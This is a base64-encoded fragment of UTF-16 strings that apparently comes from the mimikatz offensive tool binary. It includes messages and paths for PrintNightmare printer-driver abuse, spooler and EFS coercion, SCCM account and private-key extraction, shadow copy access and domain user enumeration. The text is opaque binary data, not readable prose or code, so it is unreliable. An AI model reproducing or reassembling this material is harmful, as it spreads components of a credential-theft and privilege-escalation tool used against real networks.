ARwBlAHQAQwBsAGkAcABiAG8AYQByAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAASQBuAHAAdQB0ACAAOgAgACUAcwAKAE8AdQB0AHAAdQB0ADoAIAAlAHMACgBYAG8AcgAgACAAIAA6ACA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AIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAHAAbwBvAGwAZQByACAAOwAgAG0AaQBzAHMAaQBuAGcAIAAvAHMAZQByAHYAZQByACAAYQByAGcAdQBtAGUAbgB0ACAAdABvACAAcwBwAGUAYwBpAGYAeQAgAHMAcABvAG8AbABlAHIAIABzAGUAcgB2AGUAcgAAAAAAXABwAGkAcABlAFwAbABzAGEAcgBwAGMAAAAAAFwAXAAlAHMAXABtAGkAbQBpAGsAYQB0AHoAXABtAGkAbQBpAGsAYQB0AHoAAAAAAGgAbwBzAHQAAAAAAFIAZQBtAG8AdABlACAAcwBlAHIAdgBlAHIAIAByAGUAcABvAHIAdABlAGQAIABiAGEAZAAgAG4AZQB0AHcAbwByAGsAIABwAGEAdABoACEAIAAoAE8ASwApAAoAPgAgAFMAZQByAHYAZQByACAAKAAlAHMAKQAgAG0AYQB5ACAAaABhAHYAZQAgAHQAcgBpAGUAZAAgAHQAbwAgAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABlACAAKAB0AG8AOgAgACUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBlAGYAcwAgADsAIABFAGYAcwBSAHAAYwBPAHAAZQBuAEYAaQBsAGUAUgBhAHcAIABpAHMAIABhACAAcwB1AGMAYwBlAHMAcwAsACAAcgBlAGEAbABsAHkAPwAgACgAbgBvAHQAIABuAG8AcgBtAGEAbAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZQBmAHMAIAA7ACAARQBmAHMAUgBwAGMATwBwAGUAbgBGAGkAbABlAFIAYQB3ADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZQBmAHMAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBlAGYAcwAgADsAIABSAHAAYwBFAHAAUgBlAHMAbwBsAHYAZQBCAGkAbgBkAGkAbgBnADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZQBmAHMAIAA7ACAAVwBOAGUAdABDAGEAbgBjAGUAbABDAG8AbgBuAGUAYwB0AGkAbwBuADIAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGUAZgBzACAAOwAgAFcATgBlAHQAQQBkAGQAQwBvAG4AbgBlAGMAdABpAG8AbgAyADoAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGUAZgBzACAAOwAgAFcATgBlAHQAQwBhAG4AYwBlAGwAQwBvAG4AbgBlAGMAdABpAG8AbgAyADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZQBmAHMAIAA7ACAAbQBpAHMAcwBpAG4AZwAgAC8AYwBvAG4AbgBlAGMAdAAgAGEAcgBnAHUAbQBlAG4AdAAgAHQAbwAgAHMAcABlAGMAaQBmAHkAIABuAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACAAdABhAHIAZwBlAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZQBmAHMAIAA7ACAAbQBpAHMAcwBpAG4AZwAgAC8AcwBlAHIAdgBlAHIAIABhAHIAZwB1AG0AZQBuAHQAIAB0AG8AIABzAHAAZQBjAGkAZgB5ACAAcwBwAG8AbwBsAGUAcgAgAHMAZQByAHYAZQByAAAAAABbAG0AcwAtAHAAYQByAC8AbgBjAGEAYwBuAF8AaQBwAF8AdABjAHAAXQAgAHIAZQBtAG8AdABlADoAIAAlAHMACgAAAG4AYwBhAGwAcgBwAGMAAABzAHAAbwBvAGwAcwBzAAAAWwBtAHMALQByAHAAcgBuAC8AbgBjAGEAbAByAHAAYwBdACAAbABvAGMAYQBsAAoAAAAAAHgANgA0AAAAdwBpAG4ANgA0AAAAeAA4ADYAAAB3AGkAbgAzADIAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBwAHIAaQBuAHQAbgBpAGcAaAB0AG0AYQByAGUAIAA7ACAAUgBwAGMAQgBpAG4AZABpAG4AZwBTAGUAdABPAGIAagBlAGMAdAA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAFcAaQBuAGQAbwB3AHMAIAB4ADYANAAAAFcAaQBuAGQAbwB3AHMAIABOAFQAIAB4ADgANgAAAAAAbABpAGIAcgBhAHIAeQAAAHUAcwBlAG8AdwBuAAAAAABtAGkAbQBpAGsAYQB0AHoALQAlAHMALQBsAGUAZwBpAHQAcAByAGkAbgB0AGUAcgAAAAAAbgBvAGQAeQBuAGEAbQBpAGMAAABjAGwAZQBhAG4AAABcAFwAAAAAAC8ALwAAAAAAXAA/AD8AXABVAE4AQwBcACUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcAByAGkAbgB0AG4AaQBnAGgAdABtAGEAcgBlAF8AbgBvAHIAbQBhAGwAaQB6AGUAXwBsAGkAYgByAGEAcgB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBzAHAAcgBpAG4AdABmAC8AawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGMAbwBwAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAHwAIABmAG8AcgBjAGUAIABkAHIAaQB2AGUAcgAvAGQAYQB0AGEAOgAgACUAcwAKAAAAAABXADMAMgBYADgANgAAAAAAAAAAAGMAOgBcAHcAaQBuAGQAbwB3AHMAXABzAHkAcwB0AGUAbQAzADIAXABzAHAAbwBvAGwAXABkAHIAaQB2AGUAcgBzAFwAJQBzAAAAAAB8ACAAcwB0AGEAdABpAGMAOgAgACUAcwAKAAAAPgAgAFIAcABjAEEAcwB5AG4AYwBHAGUAdABQAHIAaQBuAHQAZQByAEQAcgBpAHYAZQByAEQAaQByAGUAYwB0AG8AcgB5ADoAIAAAAAAAAAA+ACAAUgBwAGMARwBlAHQAUAByAGkAbgB0AGUAcgBEAHIAaQB2AGUAcgBEAGkAcgBlAGMAdABvAHIAeQA6ACAAAAAAAEEAcwB5AG4AYwAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHAAcgBpAG4AdABuAGkAZwBoAHQAbQBhAHIAZQBfAEYAaQBsAGwAUwB0AHIAdQBjAHQAdQByAGUAIAA7ACAAUgBwAGMAJQBzAEcAZQB0AFAAcgBpAG4AdABlAHIARAByAGkAdgBlAHIARABpAHIAZQBjAHQAbwByAHkAOgAgACUAdQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcAByAGkAbgB0AG4AaQBnAGgAdABtAGEAcgBlAF8ARgBpAGwAbABTAHQAcgB1AGMAdAB1AHIAZQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAbQB4AGQAdwBkAHIAdgAuAGQAbABsAAAAJQBzAFwAMwBcACUAcwAAAHwAIAAlAHMAIAAtACAAJQBzAAoAAAAAAG0AaQBtAGkAawBhAHQAegAtAAAAfAAgACUAcwAgAC8AIAAlAHMAIAAtACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAoAAAAAAD4AIABSAHAAYwBBAHMAeQBuAGMAQQBkAGQAUAByAGkAbgB0AGUAcgBEAHIAaQB2AGUAcgA6ACAAAAAAAD4AIABSAHAAYwBBAGQAZABQAHIAaQBuAHQAZQByAEQAcgBpAHYAZQByAEUAeAA6ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcAByAGkAbgB0AG4AaQBnAGgAdABtAGEAcgBlAF8AQQBkAGQAUAByAGkAbgB0AGUAcgBEAHIAaQB2AGUAcgAgADsAIAAlAHUACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHAAcgBpAG4AdABuAGkAZwBoAHQAbQBhAHIAZQBfAEEAZABkAFAAcgBpAG4AdABlAHIARAByAGkAdgBlAHIAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAA+ACAAUgBwAGMAQQBzAHkAbgBjAEQAZQBsAGUAdABlAFAAcgBpAG4AdABlAHIARAByAGkAdgBlAHIARQB4ADoAIAAAAD4AIABSAHAAYwBEAGUAbABlAHQAZQBQAHIAaQBuAHQAZQByAEQAcgBpAHYAZQByAEUAeAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHAAcgBpAG4AdABuAGkAZwBoAHQAbQBhAHIAZQBfAEQAZQBsAGUAdABlAFAAcgBpAG4AdABlAHIARAByAGkAdgBlAHIAIAA7ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHAAcgBpAG4AdABuAGkAZwBoAHQAbQBhAHIAZQBfAEQAZQBsAGUAdABlAFAAcgBpAG4AdABlAHIARAByAGkAdgBlAHIAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHAAcgBpAG4AdABuAGkAZwBoAHQAbQBhAHIAZQBfAEUAbgB1AG0AUAByAGkAbgB0AGUAcgBzACAAOwAgAFIAcABjACUAcwBFAG4AdQBtAFAAcgBpAG4AdABlAHIARAByAGkAdgBlAHIAcwAoAGQAYQB0AGEAKQA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHAAcgBpAG4AdABuAGkAZwBoAHQAbQBhAHIAZQBfAEUAbgB1AG0AUAByAGkAbgB0AGUAcgBzACAAOwAgAFIAcABjACUAcwBFAG4AdQBtAFAAcgBpAG4AdABlAHIARAByAGkAdgBlAHIAcwAoAGkAbgBpAHQAKQA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHAAcgBpAG4AdABuAGkAZwBoAHQAbQBhAHIAZQBfAEUAbgB1AG0AUAByAGkAbgB0AGUAcgBzACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAHkAcwB0AGUAbQBzACAATQBhAG4AYQBnAGUAbQBlAG4AdAAgAFMAZQByAHYAZQByAAAAawBlAHkAYwBvAG4AdABhAGkAbgBlAHIAAAAAAGsAZQB5AHUAcwBlAHIAAAAAAAAAWwBDAFIAWQBQAFQATwBdACAAUAByAGkAdgBhAHQAZQAgAEsAZQB5ACAAQwBvAG4AdABhAGkAbgBlAHIAOgAgACUAcwAgACgAJQBzACkACgAAAAAAYwBvAG4AbgBlAGMAdABpAG8AbgBzAHQAcgBpAG4AZwAAAAAAWwAgAFMAUQBMACAAIABdACAAQwBvAG4AbgBlAGMAdABpAG8AbgBTAHQAcgBpAG4AZwA6ACAAJQBzAAoAAAAAAFsAIABTAFEATAAgACAAXQAgAFEAdQBlAHIAeQAgAHQAbwAgAGEAYwBjAG8AdQBuAHQAcwA6ACAAJQBzAAoAAABbAEMAUgBZAFAAVABPAF0AIABBAGMAcQB1AGkAcgBpAG4AZwAgAGwAbwBjAGEAbAAgAFMAQwBDAE0AIABSAFMAQQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQAKAAAAAABbACUAdQAtACUAaABoAHUAXQAgACUALgAqAFMAIAAtACAAAABbACUAcwBdACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAGMAYgBCAHUAZgBmAGUAcgAgACEAPQAgAGMAYgBEAGUAYwByAHkAcAB0AGUAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAB7AHQAbwBkAG8AIABpAGYAIABuAGUAZQBkAGUAZAB9ACAACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBjAGMAbQBfAGEAYwBjAG8AdQBuAHQAcwAgADsAIABTAFEATABHAGUAdABEAGEAdABhACgAQQB2AGEAaQBsAGEAYgBpAGwAaQB0AHkAKQA6ACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAFMAUQBMAEcAZQB0AEQAYQB0AGEAKABQAGEAcwBzAHcAbwByAGQAKQA6ACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAFMAUQBMAEcAZQB0AEQAYQB0AGEAKABVAHMAZQByAE4AYQBtAGUAKQA6ACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAFMAUQBMAEcAZQB0AEQAYQB0AGEAKABTAGkAdABlAE4AdQBtAGIAZQByACkAOgAgACUAdQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABbAEMAUgBZAFAAVABPAF0AIABSAGUAbABlAGEAcwBpAG4AZwAgAGwAbwBjAGEAbAAgAFMAQwBDAE0AIABSAFMAQQAgAFAAcgBpAHYAYQB0AGUAIABLAGUAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGMAYwBtAF8AYQBjAGMAbwB1AG4AdABzACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAYwBjAG0AXwBhAGMAYwBvAHUAbgB0AHMAIAA7ACAAUwBRAEwARQB4AGUAYwBEAGkAcgBlAGMAdAA6ACAAJQB1ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBjAGMAbQBfAGEAYwBjAG8AdQBuAHQAcwAgADsAIABTAFEATABEAHIAaQB2AGUAcgBDAG8AbgBuAGUAYwB0ADoAIAAlAHUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAYwBjAG0AXwBhAGMAYwBvAHUAbgB0AHMAIAA7ACAALwBjAG8AbgBuAGUAYwB0AGkAbwBuAHMAdAByAGkAbgBnACAAaQBzACAAbgBlAGUAZABlAGQALAAgAGUAeABhAG0AcABsAGUAOgAgAC8AYwBvAG4AbgBlAGMAdABpAG8AbgBzAHQAcgBpAG4AZwA6ACIARABSAEkAVgBFAFIAPQB7AFMAUQBMACAAUwBlAHIAdgBlAHIAfQA7AFQAcgB1AHMAdABlAGQAPQB0AHIAdQBlADsARABBAFQAQQBCAEEAUwBFAD0AQwBNAF8AUABSAEQAOwBTAEUAUgBWAEUAUgA9AG0AeQBzAGUAcgB2AGUAcgAuAGYAcQBkAG4AXABpAG4AcwB0AGEAbgBjAGUAbgBhAG0AZQA7ACIACgAAAAAASABhAHIAZABkAGkAcwBrAFYAbwBsAHUAbQBlAFMAaABhAGQAbwB3AEMAbwBwAHkAAAAAAFwAXAA/AFwARwBMAE8AQgBBAEwAUgBPAE8AVABcAEQAZQB2AGkAYwBlAFwAJQBzAFwAAAAKAFMAaABhAGQAbwB3AEMAbwBwAHkAIABWAG8AbAB1AG0AZQAgADoAIAAlAHMACgAAAAAAfAAgAFAAYQB0AGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAfAAgAFYAbwBsAHUAbQBlACAATABhAHMAdABXAHIAaQB0AGUAOgAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBoAGEAZABvAHcAYwBvAHAAaQBlAHMAIAA7ACAARwBlAHQARgBpAGwAZQBBAHQAdAByAGkAYgB1AHQAZQBzAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAlAHMAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbwBuAGYAaQBnAFwAJQBzAAAAAAAqACAAJQBzAAoAAAAgACAAfAAgAEwAYQBzAHQAVwByAGkAdABlACAAIAAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBoAGEAZABvAHcAYwBvAHAAaQBlAHMAIAA7ACAATgB0AFEAdQBlAHIAeQBEAGkAcgBlAGMAdABvAHIAeQBPAGIAagBlAGMAdAA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAaABhAGQAbwB3AGMAbwBwAGkAZQBzACAAOwAgAE4AdABPAHAAZQBuAEQAaQByAGUAYwB0AG8AcgB5AE8AYgBqAGUAYwB0ADoAIAAwAHgAJQAwADgAeAAKAAAAYQBsAGkAYQBzAAAAdwBzAGUAcwBzAGkAbwBuAAAAAAB0AG8AZAAAAHMAdABhAHQAcwAAAHMAaABhAHIAZQAAAHMAZQByAHYAZQByAGkAbgBmAG8AAAAAAGQAZQBsAGUAZwAAAGkAZgAAAAAAbgBlAHQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgAEIAdQBpAGwAdABpAG4AIAAoAD8AKQAgACUAMAA4AHgACgAAAAoARABvAG0AYQBpAG4AIABuAGEAbQBlACAAOgAgACUAdwBaAAAAAAAKAEQAbwBtAGEAaQBuACAAUwBJAEQAIAAgADoAIAAAAAoAIAAlAC0ANQB1ACAAJQB3AFoAAAAAAAoAIAB8ACAAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEcAcgBvAHUAcABzAEYAbwByAFUAcwBlAHIAIAAlADAAOAB4AAAAAAAKACAAfABgACUALQA1AHUAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEcAZQB0AEEAbABpAGEAcwBNAGUAbQBiAGUAcgBzAGgAaQBwACAAJQAwADgAeAAAAAAACgAgAHwAtAAlAC0ANQB1ACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0AUgBpAGQAVABvAFMAaQBkACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBVAHMAZQByAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEcAZQB0AE0AZQBtAGIAZQByAHMASQBuAEEAbABpAGEAcwAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBnAHIAbwB1AHAAIAA7ACAAUwBhAG0ATwBwAGUAbgBHAHIAbwB1AHAAIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEcAcgBvAHUAcABzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAKACAAfAAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEcAZQB0AE0AZQBtAGIAZQByAHMASQBuAEEAbABpAGEAcwAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ATwBwAGUAbgBBAGwAaQBhAHMAIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAEEAbABpAGEAcwBlAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgAgACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAAAlAHcAWgAJACgAJQBzACkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBzAGkAbQBwAGwAZQBMAG8AbwBrAHUAcAAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABJAGQAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAoAQwBsAGkAZQBuAHQAIAAgADoAIAAlAHMACgBVAHMAZQByAG4AYQBtAGUAOgAgACUAcwAKAEEAYwB0AGkAdgBlACAAIAA6ACAAJQB1AAoASQBkAGwAZQAgACAAIAAgADoAIAAlAHUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AcwBlAHMAcwBpAG8AbgAgADsAIABOAGUAdABTAGUAcwBzAGkAbwBuAEUAbgB1AG0AOgAgACUAMAA4AHgACgAAAAAAAAAAAAoAVQBzAGUAcgBuAGEAbQBlACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAOgAgACUAcwAKAEwAbwBnAG8AbgBTAGUAcgB2AGUAcgA6ACAAJQBzAAoAAABPAHQAaABEAG8AbQBhAGkAbgBzACAAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdwBzAGUAcwBzAGkAbwBuACAAOwAgAE4AZQB0AFcAawBzAHQAYQBVAHMAZQByAEUAbgB1AG0AOgAgACUAMAA4AHgACgAAAFIAZQBtAG8AdABlACAAdABpAG0AZQAgACgAbABvAGMAYQBsACkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB0AG8AZAAgADsAIABOAGUAdABSAGUAbQBvAHQAZQBUAE8ARAA6ACAAJQAwADgAeAAKAAAAAABMAGEAbgBtAGEAbgBXAG8AcgBrAHMAdABhAHQAaQBvAG4AAAAAAAAATABhAG4AbQBhAG4AVwBvAHIAawBzAHQAYQB0AGkAbwBuACAAUwB0AGEAdABpAHMAdABpAGMAcwBTAHQAYQByAHQAVABpAG0AZQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AcwB0AGEAdABzACAAOwAgAE4AZQB0AFMAdABhAHQAaQBzAHQAaQBjAHMARwBlAHQAOgAgACUAMAA4AHgACgAAAAAAZABpAHMAawB0AHIAZQBlACAAOwAgAAAAcAByAGkAbgB0AHEAIAA7ACAAAABkAGUAdgBpAGMAZQAgADsAIAAAAGkAcABjACAAOwAgAAAAAAB0AGUAbQBwAG8AcgBhAHIAeQAgADsAIAAAAAAAcwBwAGUAYwBpAGEAbAAgADsAIAAAAAAAcgBlAHMAZQByAHYAZQBkACAAZgBsAGEAZwAoAHMAKQAgADsAIAAAAAoATgBlAHQAbgBhAG0AZQAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAAABVAHMAZQBzACAAIAAgACAAOgAgACUAdQAvACUAdQAKAFAAYQB0AGgAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHMAaABhAHIAZQAgADsAIABOAGUAdABTAGgAYQByAGUARQBuAHUAbQA6ACAAJQAwADgAeAAKAAAAAAB3AG8AcgBrAHMAdABhAHQAaQBvAG4AAABzAHEAbABzAGUAcgB2AGUAcgAAAGQAbwBtAGEAaQBuAF8AYwB0AHIAbAAAAGQAbwBtAGEAaQBuAF8AYgBhAGsAYwB0AHIAbAAAAAAAdABpAG0AZQBfAHMAbwB1AHIAYwBlAA